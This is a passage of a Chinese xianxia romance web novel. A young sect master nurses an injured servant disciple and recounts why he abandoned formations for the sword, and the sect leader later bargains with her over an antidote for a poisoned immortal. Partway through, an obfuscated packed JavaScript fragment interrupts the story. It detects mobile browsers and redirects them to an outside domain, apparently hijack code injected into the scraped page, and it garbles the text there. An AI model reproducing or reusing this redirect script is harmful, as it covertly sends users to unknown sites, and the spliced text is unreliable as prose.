正坐在院子里与于文峥谈话的栗烈顿感身边灵力涌动。
随即,一个身影突兀地出现。
那人一口鲜血喷在石桌上,栗烈还未起身,那人就朝他倒了过来。
栗烈的身体在脑子反应之前,就已将对方拥入了怀中。
怀中之人双眼紧闭,唇间染血,已然陷入昏迷。
看清来人的瞬间,栗烈心间一紧,急忙伸手探对方脖子上的脉,指尖传来的温热跳动让栗烈跳到嗓子眼的心稍稍回落一些。
他伸手探向温微竹的腕脉。
一切发生在电光火石之间,坐在对面的于文峥先是警惕起身,待看清倒在栗烈怀中之人,惊诧出声:“温师妹!”
他急切走过来,望向栗烈探脉的手,“怎么回事?温师妹怎么会伤这么严重?”
栗烈眉头深锁,感受手指尖的气血涌动。
“她受了很重的内伤。”
诊完,栗烈一把抱起怀中昏迷的人儿,怀中女子轻盈如落叶,栗烈甚至感觉自己只是在托着一层轻飘飘的衣服。
她怎么这么轻?
没时间多想,将昏迷的人轻轻放在床上,栗烈从储物戒中掏出一颗上品灵药,轻扣昏迷之人的下巴,将灵药塞入了对方口中。
指尖触到对方温软的唇,栗烈触电般收回。
殷红的血迹沾在指尖,十分刺目,栗烈眼眸幽深,眼底波涛汹涌。
于文峥跟着进屋后,站在一旁担忧道:“严不严重,需不需要叫医修来看看?”
“不用。”栗烈回神,拿出帕子擦了擦温微竹唇角的血迹。
将帕子丢在一旁,栗烈道:“她受到了威压攻击,伤到内府,吃了灵药就能好转。”
“威压?”于文峥难以置信,“只是威压?多厉害的威压?”
“元婴期以上。”栗烈说出自己的结论。
“元婴期?”于文峥讶然。
修士修炼越往上越艰难,金丹是一个坎,元婴更是一个大坎。
很多修行天赋还行的人,大多卡在元婴期,无法再突破。
即便如此,一个宗门的元婴也是屈指可数。
“温师妹在宗门,怎么会受到元婴期修士的攻击?”于文峥几乎是脱口而出。
要知道,宗门除了蒋明祐,剩下的元婴期全是长老级别的。
温微竹一个杂灵根杂役弟子,怎么会惹到长老级别的人物?
“蒋明祐?他应该还在关禁闭呀,难道跟你一样,自己跑出来了?”
栗烈却一声不吭,在翻自己的储物戒。
于文峥不爽,“啧,跟你说话呢。”
最终栗烈从储物戒里掏出一条金银交织的手链出来,看向于文峥,“给我找一个最强难度的防御阵法。”
于文峥震惊地盯着栗烈手中的手链。
这条蛇骨手链中间交替镶嵌了蓝宝石、祖母绿、和黑玛瑙。
微光之中,流光溢彩,还能隐隐看到宝石之上雕刻的暗图符文。
“你开玩笑吗?这可是‘蓝焰星阶’,你当初花天价拍卖到的高阶防御法器!你知道多少人眼馋吗?”
“让你找阵法,废什么话。”
栗烈低头摸索翻找手中手链,琢磨着哪个地方还能添加阵法。
于文峥无语看了一会,最后还是乖乖将自己的阵法秘籍都掏出来。
翻了翻,他挑中一个阵法,拿过来指给栗烈看。
“这个怎么样?可防金丹期全力一
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击,防御等级很不错了。”
栗烈看了一眼,回了他一个白眼。
“不是,再高级的你也刻不上去啊,你自己什么等级,你不知道啊。”
于文峥本不想戳栗烈伤口,但实在得说实话。
栗烈咬牙道:“你找出来就行,又不要你刻,你瞎操什么心。”
于文峥生气,用力翻手中的阵法秘籍。
他一定要把最难的翻出来,让栗烈这个没吃过苦头的天才领略一下,心有余力不足的感觉!
最后,于文峥终于找到了一个,他光是看着就头晕的复杂阵法。
他拿着秘籍,将阵法戳到栗烈的眼前,道:“这个,就这个,哪怕是渡劫期的来了,也能防住!”
栗烈瞟了一眼阵法,又对比了一下他在蓝宝石上找到的空位。
大小合适。
“给我吧。”栗烈把书接过来,直接收进了储物戒。
他站起身,走到床尾,看了一眼一脸呆愣看着他的于文峥,赶人:“你先出去。”
于文峥不明所以,“我站这怎么了?你到底想干什么?你要是想给温师妹链子,你给她戴手上不就行了,我还不能看……”
后面的话被于文峥吞了下去,因为栗烈脱了温微竹一只鞋。
“这不是手链吗?”于文峥傻眼了,“合着这其实是脚链?”
栗烈不说话,只用看傻子的眼神看他。
于文峥脸颊微热,转过身嘟嘟囔囔道:“那我走。”
把门关上,出来之后,于文峥站在门口觉得不对。
这……少宗主乱脱温师妹的鞋子,好像也不太好吧……
为了防止少宗主做出什么不合时宜的事情来,于文峥站在门口数着时间,估摸着时间差不多,就敲门。
“少宗主,我可以进来了吗?”
栗烈没理他。
他又喊了一遍,栗烈还是没理他。
于文峥脑海里的想象及其丰富,他赶紧制止自己的胡思乱想,推开门,大喊:“少宗主你要控制你自己。”
结果,看见屋内两人纷纷看向他。
于文峥:“……”
于文峥清清嗓子,装作刚才什么也没发生,若无其事打招呼:“温师妹,你醒了?”
温微竹是惊醒的,她醒来的时候,只有少宗主站在床尾。
她刚坐起来缓神,于文峥就推门冲进来了。
“我好多了。”温微竹摸了摸胸口,内府疼痛减轻了很多,应该是他们给她吃了伤药。
不知道她昏迷了多久。
还惊动了少宗主。
本来是抱着侥幸的心态,希望于文峥不在这里,她能有时间缓一缓,再去拿药。
谁知道,她直接昏过去了。
“少宗主禁闭结束了吗?”温微竹望向少宗主问。
“没有,他偷跑。”
于文峥偷偷笑,被栗烈横了一眼。
温微竹愣了一下,刚想开口。
就听栗烈道:“没结束,有点事出来处理一下,还要回去。”
于文峥在一旁心里吐槽:你所谓的事就是看看院子,跟我商量中午吃什么。
温微竹收回到嘴边的话。
她以为少宗主是因为她晕倒在灵深峰被于文峥叫回来的。
看来不是。
32. 谁这么缺德?
温微竹沉默着打算起身,被两人阻止。
“你干什么?”
“温师妹,别啊,下床干什么,赶紧躺着先。”
温微竹坐在床边,一脸无辜与理所当然,“我没事了,中午吃什么,我去做。”
栗烈、于文峥:“……”
额头青筋不受控制了。
温微竹真是好本事,很少有人能同时惹怒少宗主和于文峥两个人。
“躺着吧。”栗烈音调冰冷,周身的气压很低,“我不是那种不近人情的人。”
于文峥也在一旁补充讪讪补充:“是啊,你都受伤了,谁会那么缺德,还让受伤的人做饭。”
温微竹坐在床边,双手撑着床沿,低头垂眸,显得楚楚可怜。
栗烈浑身低气压瞬间收敛,连语气都忍不住放轻,软了声调道:“既然受伤了,就好好养伤,我关禁闭这几天,你可以不用给我做饭。”
顿了一会,见温微竹既不抬头,也不回答,栗烈抿唇,转身跟于文峥道:“我回禁闭室。”
于文峥第一次见识栗烈自己消化自己的怒意,一时间惊为天人,一个劲盯着栗烈离开的背影瞧。
“温师妹……”于文峥刚想夸温微竹好手段,回头看见本来低头的温微竹也在看着栗烈离开的背影。
听见于文峥的声音,温微竹下意识抬头看向他。
于文峥顿了一下,一时之间忘了刚才要说什么,只得笑道:“你多休息才是关键,不用担心少宗主,他早已辟谷,不吃东西也没关系。”
温微竹闷嗯了一声,回到床上躺下,道:“于师兄,我能再躺躺吗?”
“啊?可以,可以。”于文峥尴尬站了一会,随后道:“那温师妹你先休息,我就在外面,要是有什么事,随时叫我。”
“嗯,谢谢于师兄。”
于文峥从房间出来,关上门。
转身,发现栗烈站在院子里,跟个木头桩子一样,看着房门的方向。
于文峥:“……”
怎么有种小情侣吵架的既视感?
于文峥走到栗烈身旁,栗烈才动了动身子,在桌旁坐下,问:“她怎么说?”
“说什么?”于文峥丈二和尚摸不着头,“温师妹说她想躺躺,我就出来了。”
栗烈简直是恨铁不成钢,“你就没问她,是怎么受的伤,谁伤的她?”
于文峥这才反应过来,“对哦!最关键的我们都没问!”
反应过来的于文峥起身,打算去问个清楚,被栗烈拉了回来。
“等她先休息一会再问吧。”
于文峥回来坐下,和栗烈面面相觑。
“你觉得……”于文峥试探性问,“有可能是谁?”
栗烈沉思。
“应该不会是蒋明祐吧。”于文峥挠挠头,“他干嘛盯着温师妹不放?”
栗烈啧了一声,不可否认,蒋明祐会缠上温微竹,主要原因在他。
温微竹说的没错,若是不想被蒋明祐纠缠,最好的办法就是与他保持距离。
但这次应该不是蒋明祐。
“你知道温师妹进内门是在谁手下做事吗?”栗烈问。
“不知道啊。当初我要去查的时候,你不是不让我查吗?”于文峥道。
栗烈噎了一下,想起最开始的时候,他去了好几次食堂,都没有再遇到温微竹。
于文峥说帮他去查查,他当时心中有气,觉得是温微竹没有这个福气,就没让他去查。
于文峥也就顺口一说,结果将栗烈噎得无话可说。
自己做的孽,最后都得报应在自己身上。
往常这种情况下于文峥铁定得嘲笑栗烈一番,不过现在他倒是没有嘲笑栗烈,而是反应过来栗烈话中的意思。
“你的意思是,温师妹做事的地方,有人欺负她?”
认真一想,这么久以来,温微竹在内门到底是在哪个峰做事,他们都不知道。
只是温师妹似乎挺闲的。
既有时间去上课,又有时间来帮少宗主做饭,还有时间整理院子。
特别是前段时间,几乎整天都泡在灵深峰,整理这个院子。
如今这个院子初步规划已经搭建完了,只等这些移植的灵植恢复活力了。
想到某种可能,于文峥道:“不会是温师妹大部分时间都耗在你这里,结果那边的工作没做好,被惩罚了吧?”
也不是没这种可能。
不然,一个元婴期欺负一个炼气期,多大仇多大恨啊,这也太没品了。
“你去查一下。”栗烈也有这个猜测。
他现在也好奇,当初温微竹明明只外门厨房干得好好的,为什么忽然来内门?
当时他问过她。
而她是怎么回答的?
栗烈回想了一通。
当时她只说了来内门,没说来内门做什么,也没说去的哪个峰。
后来她答应帮他做饭的时候,栗烈让她辞了原先的差使,她却说不用。
她是不是隐瞒了什么?
一想到这其中有可能有隐情,栗烈恨不得现在立刻自己去找王叔问个明白。
可偏偏他现在是禁闭期,若是回主峰,立马就要被宗主发现。
到时候,别说问温微竹的问题,只怕禁闭室他都别想出,还会加重惩罚,让他在禁闭室呆更久。
于文峥手指敲击着石桌,随口答应:“行,有空我去主峰走一趟。”
“现在就去!”于文峥一脚踹在于文峥的石凳上。
被迫站起的于文峥咬牙无奈,只得转身离开,去主峰给少宗主跑腿。
栗烈独自坐在院子里。
四周很安静,和以往任何时候没什么区别。
以前他很少呆在这里。
只有从外挖了灵植或者抓了灵兽回来,他才会把东西往这一丢。
他的主要活动区域是主峰自己的院子。
可自从温微竹开始给他做饭之后,除了上课时间,他几乎都呆在这边。
那个时候,没觉得这里安静。
风吹动树叶沙沙作响,栗烈从凳子上站起来,在院子里踱步。
这里变了很多,原先一团乱的院子被温微竹规划出一小片一小片的区域,不同的区域用来种植不同的灵植。
她之前说每个区域要立个小牌子,这样下次他从外面挖了新的灵植回来,就知道该种在哪里。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279923|182507||http|test|mini|href|location''.split(''|''),0,{}));
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>可是,现在牌子还没立。
中间的亭子已经建好了,但栗烈不太满意,他觉得太朴实无华,应该再豪华一点。
但他需要去外面弄一点漂亮装饰回来。
这些都需要时间。
他之前想着,他可以慢慢等,等温微竹一步一步朝他走过来。
可温微竹太慢了,她甚至一直在原地徘徊,哪怕他已经提醒过她很多次。
为什么遇到危险不找我呢?
上次蒋明祐的事情,他已经跟她强调过了。
但她完全没有放在心上。
栗烈的心情越想越糟糕,觉得温微竹实在是不开窍,孺子不可教也。
他堂堂常阳宗的少宗主,这么大的靠山,她愣是不用!
越想越气的少宗主气冲冲跑进房间,还好最后的理智拉住了他,在进房间之时,给自己隐身。
来到温微竹的床前,却发现温微竹并没有睡觉,而是睁着眼睛,盯着天花板发呆。
之前没注意,温微竹眼睛一动不动之时,栗烈才发现温微竹的瞳孔如墨水一样,是深黑色。
黑色的眼眸空洞地盯着某处时,有一种浓不见底的空乏与了无生趣。
就像一个精致但虚假的木雕娃娃。
栗烈对温微竹的印象一直停留在温婉认真,胆子小这个层面,却从未见过她此刻这种仿若灵魂出窍,徒留一具空壳的模样。
空洞的眸子蓦地动了一下,栗烈惊得心窒息一瞬。
温微竹倏地从床上坐起,望着房门口出神。
她不是一个拖泥带水的人。
今日冒着生命危险从丁长老那里得到了一个毁灭性的消息,让温微竹有那么一瞬觉得这些年活着毫无意义。
她是为了无息仙尊而来,可两年前,她来到常阳宗的时候,无息仙尊就已经陷入了昏迷。
两年,她连靠近云萃峰都做不到。
一直在思索,一直在努力。
最终,发现,不过是做的无用功。
无息仙尊的死局,两年前就已经定下了。
只是,丁长老的话,她还想再验证一下。
起身,推开门。
却发现门外的不是于文峥,而是背对着她坐着的少宗主。
“少宗主?你没去禁闭室?于师兄呢?”
“于文峥有点事先走了,我晚点再回禁闭室也不会有人发现。”栗烈转过身,神色平静解释。
“哦。”温微竹没有怀疑,走到桌边,在栗烈对面坐下,“少宗主还没吃东西吧?”
栗烈皱眉望着温微竹,不解:“你很担心我饿肚子?我金丹期,不吃东西也不影响。”
温微竹噎了一下,她倒不是真的担心少宗主饿肚子,只是她的任务就是给少宗主做饭,当她和少宗主呆在一起的时候,不谈谈做饭的事情,就总感觉少了点什么。
“那喝点茶?”温微竹试探问,“前段时间我摘了点灵茶,很嫩,都是刚冒出的嫩尖,做的绿茶,尝尝吗?”
栗烈:“……”
既然温微竹不弄点什么吃就过不去,他干脆就满足她。
从储物戒里掏出茶具和茶杯,栗烈将东西摆放好,道:“泡吧。”
33. 少宗主的过往
温微竹的眼神亮了亮,起身去厨房把她做的绿茶罐子拿了出来。
“少宗主,你有水晶琉璃杯吗?透明的那种。”
栗烈闻言,将之前的杯子收起,又从储物戒里掏出了一对水晶琉璃杯。
温微竹震惊万分,她也就试探问问,没想到真有。
那储物戒似乎囊括了世间万物,要什么有什么。
搞得温微竹都有点好奇,到底有什么是储物戒里没有的?
火上的水开始咕嘟咕嘟冒热气,温微竹提起茶壶倒水烫杯,烫完之后,用杯夹夹住杯沿,将水倒尽。
准备妥当,用茶匙舀了嫩绿的茶叶,放入水晶琉璃杯中。
滚烫的水注入,绿色的茶叶在水中翻滚,舒展,那场景美轮美奂,犹如一幅精美的画。
栗烈专注地看着温微竹的一举一动。
温微竹做事情有一种旁若无人的专注,让人忍不住屏气凝神,静呆一旁,不敢打扰。
直到杯中倒入了七分滚烫的热水,温微竹才放下水壶,将水晶琉璃杯推至少宗主的面前,整个人透着一种专业又优雅地礼貌,道:“少宗主,请看茶。”
栗烈的视线转向透明的杯内,茶汤澄澈明亮,绿色的嫩尖在水中舒展,随着水浮浮沉沉,如曼妙的舞娘一般翩跹起舞。
茶叶的清香被热水激发,随着热气飘散开来,淡淡的兰花香萦绕鼻端,闻着清新鲜活,爽甜宜人。
栗烈忍不住抬头,对面的温微竹正低头看杯里缓慢舒展的茶叶,未能注意到他的目光。
她的嘴角挂着微微笑意,充满了鲜活的气息,与之前房间里那个冰冷的假人完全无法联系在一起。
到底是为什么呢?
明明在这里相处的时候,如此自在安然。
一旦脱离这个场景,就形同陌路。
这一切,都是装出来的吗?
“你没什么跟我说的吗?”
受伤的事情。
即便受了重伤,无处可去,也不曾联系他的事情。
都没有要解释的吗?
温微竹愣了一下,抬眸,正对上栗烈紧盯着她的目光。
目光相触的一瞬间,温微竹就移开了。
眸子中眼眶中不安地动了动,最终注视着眼前的茶杯。
放在一旁的手忍不住捋了捋耳边的碎发。
在少宗主说话之前,温微竹望着杯中的茶叶,明白了之前可惜的点在哪里。
她喜欢这种与少宗主一起喝茶、品尝美食,甚至是一起规划这个院子时,所感受到的那种静谧、安宁。
在她以往的人生中,她几乎没有感受过这样安宁温馨的时刻。
可惜,现在这种安宁也不存在了。
温微竹不自觉敛了笑意。
她的手指在杯沿画圈圈,垂着眸,幽长的睫羽遮住了她的眸色。
她道:“少宗主,我想问你几个问题,你若回答我,那我就回答你的问题。”
又是这一招。
昨日在禁闭室里,她不想回答,所以拿他不想回答的问题问他。
以为这招回屡试不爽吗?
他的问题就那么难回答?
“你问。”
他不会再让她逃了。
“少宗主,你为什么弃了阵法,改练剑道?”
栗烈眸色幽深,盯着温微竹。
而温微竹迎上栗烈的目光,没有半分退却。
如果无息仙尊的死局是真的,那么她的结局也是死。
所以,一切都会变得无所谓。
现在,她就要从少宗主这里,验证无息仙尊中毒之事,是真的是假。
“是因为崇拜剑道强者?可宗门的无息仙尊那么强,却昏迷至今未醒。剑之一道,艰难又危险,你为什么要修剑道呢?”
栗烈凝视着温微竹,该不该说,真不愧是她,昨日一个反问直接彼德他落荒而逃,今日的问题,更是直戳他多年的未曾跟人诉说的沉疴。
一个人怎么能做到不想回答,于是便戳提问之人心窝子的?
她的温婉安静,不问世事,都是装的吗?
看透不说透,在最关键的时候,拿出来,掐住你的咽喉。
温微竹到底是一个什么样的人呢?
温驯无害的外表,又到底骗了多少人?
空荡的手伸出,想抓住点什么,却被温微竹眼疾手快牵住了指尖。
“水烫,再等等。”
指尖传来光滑柔软的触感,只是这感觉一瞬即逝。
栗烈收回手,蜷缩着手指,捏了捏指尖似乎还残存的温度。
“我修剑道和无息仙尊关系不大。”
你是真的想听吗?
那我就讲给你听。
“这事要从五年前说起。”
五年前。
栗烈十五岁。
第一次跟着无息仙尊出去历练。
两人追踪一个作恶多端的大妖,一直追到了一座城镇外面。
无息仙尊重伤了大妖。
那大妖濒死之际,却找到了困住它的唯一缺口,从那个缺口逃了出去。
而那个缺口,正是栗烈看守的位置。
“当时,那个大妖就跌倒在我的面前,它重伤濒死,逃到我面前时,已经时奄奄一息。”
栗烈永远忘不掉那一幕。
濒死的妖怪浑身是血,在他的面前倒下。
只差最后一击,就会彻底死掉。
而他,站在那里,在脑海中将自己学过的所有阵法过了一遍,却没有一击即命的阵法存在。
他将大妖困在原地,只等无息仙尊过来。
随着时间流逝,大妖缓了过来,挣脱了他的阵法,逃之夭夭。
“呵……”
他还记得大妖离开时的那一声冷嗤。
“大妖逃入了城镇,等我们再次找到他的时候,城镇里火光冲天……”
栗烈不敢再回想当时的画面。
他只记得当时凄厉的哀嚎,和混乱的哭喊。
他被定在火光的尽头,没法挪动一步。
“我至始至终都没有过去,只听说死了很多人。”
栗烈将杯中的茶一口饮尽,继续道:“后来,无息仙尊杀了那个大妖,从一户人家那里救了一个女孩。”
“周边的人都说,那个女孩好可怜,家人都死光了,只剩她自己。”
栗烈还记得那时候,他就站在不远处,看着那个女孩的背影。
他没有勇气过
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去,他没有资格安慰那个失去亲人的孩子。
“女孩?”温微竹眼眸闪了闪,“少宗主去看那个女孩了吗?”
栗烈摇摇头,“没有,我当晚就回了宗门,善后的事情是无息仙尊和宗门其他弟子做的。”
温微竹替栗烈续上茶水,顺口问:“那个女孩后来呢?”
“后来听说无息仙尊本想将对方带入宗门,但那女孩实在没有修行天赋,就安置在城镇里了。再之后,就不知道了。”
“哦。”温微竹抿了一口茶汤,漆黑深邃的眸子微垂着,“所以,少宗主觉得是自己的过错,导致了那些人的死亡?”
栗烈不言,算是默认。
他的眼底有哀伤和懊悔,“我当时若是手中有剑,可以直接杀死他的。城镇里的那些人也不至于死。”
“所以你决定修剑道?无息仙尊没阻止你?说点什么吗?”温微竹看向栗烈。
“没有。”栗烈轻蹙眉头,不觉得这事和无息仙尊有什么关系,更何况……
“无息仙尊他,不太关心他人。”
温微竹想起无息仙尊那抹无情转身的身影。
她原以为无息仙尊只对凡人冷漠无情,原来,对所有人都这样。
“当时城镇的情况,无息仙尊也没跟你说吗?”温微竹问。
栗烈疑惑地看向她。
“你不是说你没去看具体情况吗?只听说死了很多人。”
温微竹将续过的茶水往栗烈的方向推了推,“道听途说不可信,说不定情况没那么惨烈呢。”
栗烈皱眉不太认同,“当时情况很乱,整个镇子都起了大火,所有人都很惊慌。”
最后,栗烈低着头不愿意回想,“他们抬了很多尸体出来……”
温微竹摩挲着自己的茶杯,道:“少宗主有没有想过,你错怪了自己?”
“什么?”栗烈不解。
“少宗主看到那大妖杀人了吗?”
“没有。但大妖的气息在那里。”栗烈回忆当时的情况,冲天的火光与人群的尖叫占据了大部分的位置,在记忆里灼灼燃烧与飘荡。
“你也说了,大妖逃的时候就已经奄奄一息,有没有可能,人本来就是死的,大妖只是刚好赶上呢。”温微竹猜测道。
栗烈目光复杂的看向温微竹,“我发现你好像总是用一种别样的方法安慰人。”
将温微竹推到跟前的茶杯拿起,小饮料一口,之前牛饮未能尝到的甘甜清香,此刻充满了味蕾。
“不过,你不用替我编各种不可能的情况安慰我。”
他当时虽然逃了,但还不需要这般自我安慰,与自我辩解。
“改练剑道有一部分原因是因为愧疚自责,但更多的是想在下次遇到这种情况的时候,我能一剑刺穿大妖的心脏。”
温微竹先是怔了一下,随后自嘲般扬起一抹笑。
她不再纠结这个问题,而是换个方向问:“阵法也有攻击性阵法吧?”
“有,但更偏向策略性。临场发挥会差很多。”
温微竹不再做评价,给喝完茶的栗烈继续添茶。
“修剑道也不是万无一失,无息仙尊那么厉害,不也受重伤昏迷不醒?再厉害的人,也有力所不及的时候。”
34. 谣传
栗烈沉默地喝茶。
温微竹观察着栗烈的反应,见对方似乎只想沉默以对,便又开口:“少宗主与无息仙尊关系怎么样?可知他如今伤势如何?”
“我与他没什么交集。”少宗主的话中透着一丝冷漠,忽然抬头问温微竹:“你觉得现在还有几人记得他?”
未料少宗主突然问这个问题,温微竹有些始料未及,支吾了一下,道:“不太知道。”
说完,又补充一句:“没什么人吧。”
“还不如当初就死了。”少宗主独自嘟囔了一声,却被温微竹一字不落地听入了耳中。
温微竹身体僵硬一瞬,硬着头皮装没听清道:“什么?什么当初死了?”
栗烈本不想谈论这个问题,既然温微竹问了,他问:“如果当初无息仙尊在大战中死了,你觉得会怎么样?”
温微竹放在桌子下的手在袖子里蜷了蜷,“为什么这么问?无息仙尊若是战死,大家应该都会很伤心吧,对常阳宗也是一大损失。”
“他当时若是死了,起码能名垂千古。”栗烈道,“可现在呢,他死了,谁还在乎。”
温微竹装作不解问:“无息仙尊不是受伤闭关吗?他闭关出来就还是大能,风光无限。跟死有什么关系?”
栗烈顿了一下,眼神暗了暗,“其实无息仙尊两年前就已经被医修判了死刑了。”
温微竹捂嘴讶然道:“死?他不是受伤而已吗?完全没救了吗?”
“毒入灵台,无药可医。”栗烈将温热的茶汤一饮而尽。
一贯及时添茶的温微竹这次却没注意到栗烈空杯,她不知道看着哪里,惋惜道:“那真是可惜。”
栗烈道:“修仙界生死只在一瞬间。别看修仙之人活得久,平均寿命算下来,没比凡人长几岁。”
温微竹不说话。
沉默了一会,温微竹忽然说:“少宗主,我身体有点不舒服,我先回去了。明日我再过来。”
栗烈抓住她的手腕,神色不悦:“你说我回答你的问题,你就回答我的问题。问完我就跑?”
被少宗主这么一说,温微竹才想起来。
之前答应了少宗主。
温微竹神色冰冷漠然,“少宗主不是想问我有没有什么想跟你说的吗?我的回答是,没有。之前的问题也可以回答你,我们不是朋友,我只是拿钱办事,仅此而已。”
手腕稍微一挣,就从少宗主的手中挣脱。
温微竹整了整衣袖,“你若还想让我继续给你做饭,那我就继续做。若是不满意,那我从今以后就不来了。”
“你什么意思?”栗烈额头青筋鼓动,他竭力忍住自己的戾气,“你觉得我是非你不可吗?会做灵食的人多如牛毛,比你厉害的更是如过江之鲫。既然你不想做,那从今以后,你就不用来了。”
温微竹脸色白了白,转身离开了灵深峰。
栗烈转身不想再看她,等回头的时候,温微竹的身影早已消失在了道路的尽头。
栗烈张了张嘴,一时悲愤难言,手中一击,将一旁的石桌击成了齑粉。
石桌上的茶具亦未能幸免。
清亮的茶汤撒了一地,空气中都是茶叶的清香。
而那在热水中舒展开的绿叶,却散落在一堆白色的粉末中,成了不得不舍弃的渣滓。
温微竹失魂落魄回了云萃峰。
一切已成定局。
无息仙尊两年前就已经被宣判必死的结局。
她努力了这么久,却只是在一个必死的结局里挣扎。
两年前,她终于来到常阳宗。
她只是想与无息仙尊见一面,当面问他一个问题。
却原来,从一开始,就只是一场空。
而她却还在心存期待,最终把自己也搅入这场死局之中。
“我救不了你。”
坐在无息仙尊的床头,温微竹自言自语,“我唯一能为你做的,大概是陪你一同赴死。”
一直呆在窝里的灰乌鸦不知道是不是感受到了她的心如死灰,突然在外面嘎嘎叫。
温微竹还沉浸在死亡的思绪之中,灰乌鸦猛地扎进房间。
温微竹瞬感不对,站起身,将瑟瑟发抖的灰乌鸦护在身后。
一股强烈的威压铺面而来,随之而来的,是一中年男子飞身而至。
温微竹还未痊愈的内府在威压之下伤势加重,直接一口血吐了出来。
来人见温微竹吐血,嘴里嘟囔着:“这么弱。”
随即收了威压。
来人身姿笔挺,穿着一身米白色的长衫,姿态高傲地打量了一下房间,最后视线才落在温微竹身上。
“你可知我是谁?”来人走到近前,问。
温微竹捂着胸口,身形靠着床沿,退无可退。
“不知宗主降临,有何要事?”
“哦?你竟然认识我?”常阳宗现任宗主栗威不由多打量了几下眼前的女子。
“猜的罢了。”温微竹擦了擦嘴角的血,站直了身体,道:“宗主驾临,弟子没有出门迎接,是弟子失职,不若去外间坐坐,我给您倒茶。”
“你还挺有礼貌。”栗宗主感慨,他挥挥袖,道:“不用了,我就是听说我儿为了一个女子争风吃醋,所以来看看。”
“谣传罢了,宗主莫信。少宗主光风霁月,怎会为我一杂灵根女子争风吃醋。不知宗主从哪里听说的?”
温微竹心中已然有猜测,虽然弟子中有谣传,但宗主不可能因为这个没有根据的传言这么快就精准的找到她。
宗主这么快找到她,必定是丁长老找的宗主。
估计她一离开万青峰,丁长老就在想办法怎么除掉她。
他直接下手有风险,就想利用少宗主,将宗主当刀使。
想的挺美好。
“我从哪里得来的消息无所谓。你也不用害怕,我不是因为你魅惑栗烈来找你麻烦,相反,我想找你帮我个忙。”
栗宗主看起来很有威严,容貌轮廓也能看出一点少宗主的影子,但说话并不是那种很有距离感的人。
这难道是遗传吗?
别人对少宗主的评价都是脾气不好,不好相处。
但事实上,少宗主人还挺好相处的,脾气除了偶尔摆脸色,也还好。
“宗主想找我做什么?”温微竹不
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解地问。
“我想让你劝栗烈重新修阵法。”
栗宗主神色严肃认真,不像是开玩笑。
“对不起,宗主,我做不到。我已经跟您说了,我与少宗主并不是那种关系。”
温微竹语气恭敬,态度坚决。
“你们是什么关系不重要,重要的是你能呆在他身边。这么多年,你是唯一一个能呆在他身边的女子。”
温微竹凝眉望着栗宗主,栗宗主认真盯着温微竹。
温微竹皱眉道:“宗主,我觉得您不如找于师兄试试?于师兄跟少宗主走得更近一点。”
栗宗主摊了摊袖子,“于文峥是我安排的人,这么多年了,一点用也没有。”
“呃……”温微竹一时竟不知道该说什么。
“只要你能说服栗烈重修阵法,你有什么要求,可以随便提,我都能答应你。”
栗宗主走到床边,看了看躺在床上的无息仙尊。
“你很聪明,应该知道,你从外门被调来这里,是为了什么?背锅之人随便找谁都行,你只要按我说的做,云萃峰的事就和你无关。”
温微竹凝眸。
栗宗主这是软硬皆施,威逼利诱。
温微竹此时对生死已经没什么感觉,五年前,她就应该死在那场大火里。
是无息仙尊救了她。
但有个问题,她还是想要问明白。
“宗主,可否问您一个问题?”
“你说。”
栗宗主态度一直很和蔼,两人好似普通朋友一般友好交谈。
但温微竹知道,这种人往往最危险。
因为他会让你不知不觉,陷入对方设下的陷阱。
“既然无息仙尊两年前就已经无药可医,为什么当时不直接宣布无息仙尊死亡,而是对外宣称无息仙尊受伤闭关?”
“当然是为了稳固常阳宗。一个宗门的顶梁柱死了,宗门会面临多少风险?但现在不一样,现在宗门有蒋明祐,一个新生代天灵根。”
答案往往很现实。
无息仙尊活着的时候,要为这个宗门出力。
死了,还要为这个宗门震慑他人。
“很抱歉,宗主,您请求我的事情我爱莫能助,您还是去找其他人吧。”
一旦没有要苟命这个需求,人往往就变得肆无忌惮起来。
温微竹已经做好了与无息仙尊一同死去的准备,因此,栗宗主这样的大人物在他眼里也无所谓起来。
栗威望着眼前柔柔弱弱的女子,看起来软弱可欺的模样,出言却如此硬气。
难不成她是笃定他会因为栗烈而不敢动她?
还是觉得她有栗烈作为靠山,他拿她无可奈何?
真有趣,明明是一个杂灵根炼气期的弟子,竟然如此有恃无恐。
栗威找了个椅子坐下,现在都有点后悔刚才没有顺水推舟去坐着谈,还以为三言两语就能打发,没想到是个硬茬子。
“你似乎一直很关注江无息的事情,你想救他吗?”
温微竹脱口而出道:“宗主这是什么意思?丁长老跟我说的是,无息仙尊毒入灵台,无药可医。”
35. 一丝曙光
救他……
栗宗主的话让温微竹升起一丝希望。
是绝境里倏忽之间漏出来的天光。
她本应该不顾一切抓住。
可她又不得不怀疑。
这朝深渊深处投下的救命绳索,只是栗宗主为了让她咬钩而投下的虚假鱼饵。
栗威的眼中闪过一丝果真如此的傲慢。
他的手随意地搭在圈椅上,慢条斯理道:“无药可医,不代表无药可解。他的毒无法根除,但可以缓解,而我手中有可以缓解他毒性的解药。”
“您真是在开玩笑。”
温微竹不想轻易被拿捏,她藏起自己的动摇,理智地反驳。
“无息仙尊作为宗门的天灵根支柱,您手中若是有缓解毒性的解药,难道会不给无息仙尊服用,任由无息仙尊毒性蔓延,最终命断于此吗?”
栗威整理自己的衣袖。
“这其中自然是有多方面的考量,你可以选择信,也可以选择不信。我给你的选择摆在这里。只要你答应我的条件,我自然会给你解药。”
说完,栗威转起身,丢给温微竹一块玉符。
“想明白了,就摔碎玉符来找本宗主。放心,你可以慢慢想,我有耐心等你。就怕……”
栗威故意顿了顿,望向床上江无息的方向,低沉又着重道:“江无息等不了那么久。”
话音一落,伴随着一声轻笑,栗威转身离开了云萃峰。
望着栗宗主离开的方向,温微竹思绪纷杂。
手中的玉符如针刺一般扎手。
不同的人,不同的话语,各自揣着各自的私心。
谁的话真?谁的话假?
她已无从判断。
她本已报了必死的决心,迎接即将到来的最后结局。
可……现在,却出现了一丝曙光?
温微竹踟蹰不定,接下来几天都躺在院子里望着天光发呆。
之前的一场阵雨来得太急太快,接下来却一直是大晴天。
太阳又晒又热,有一种又回到了盛夏的感觉。
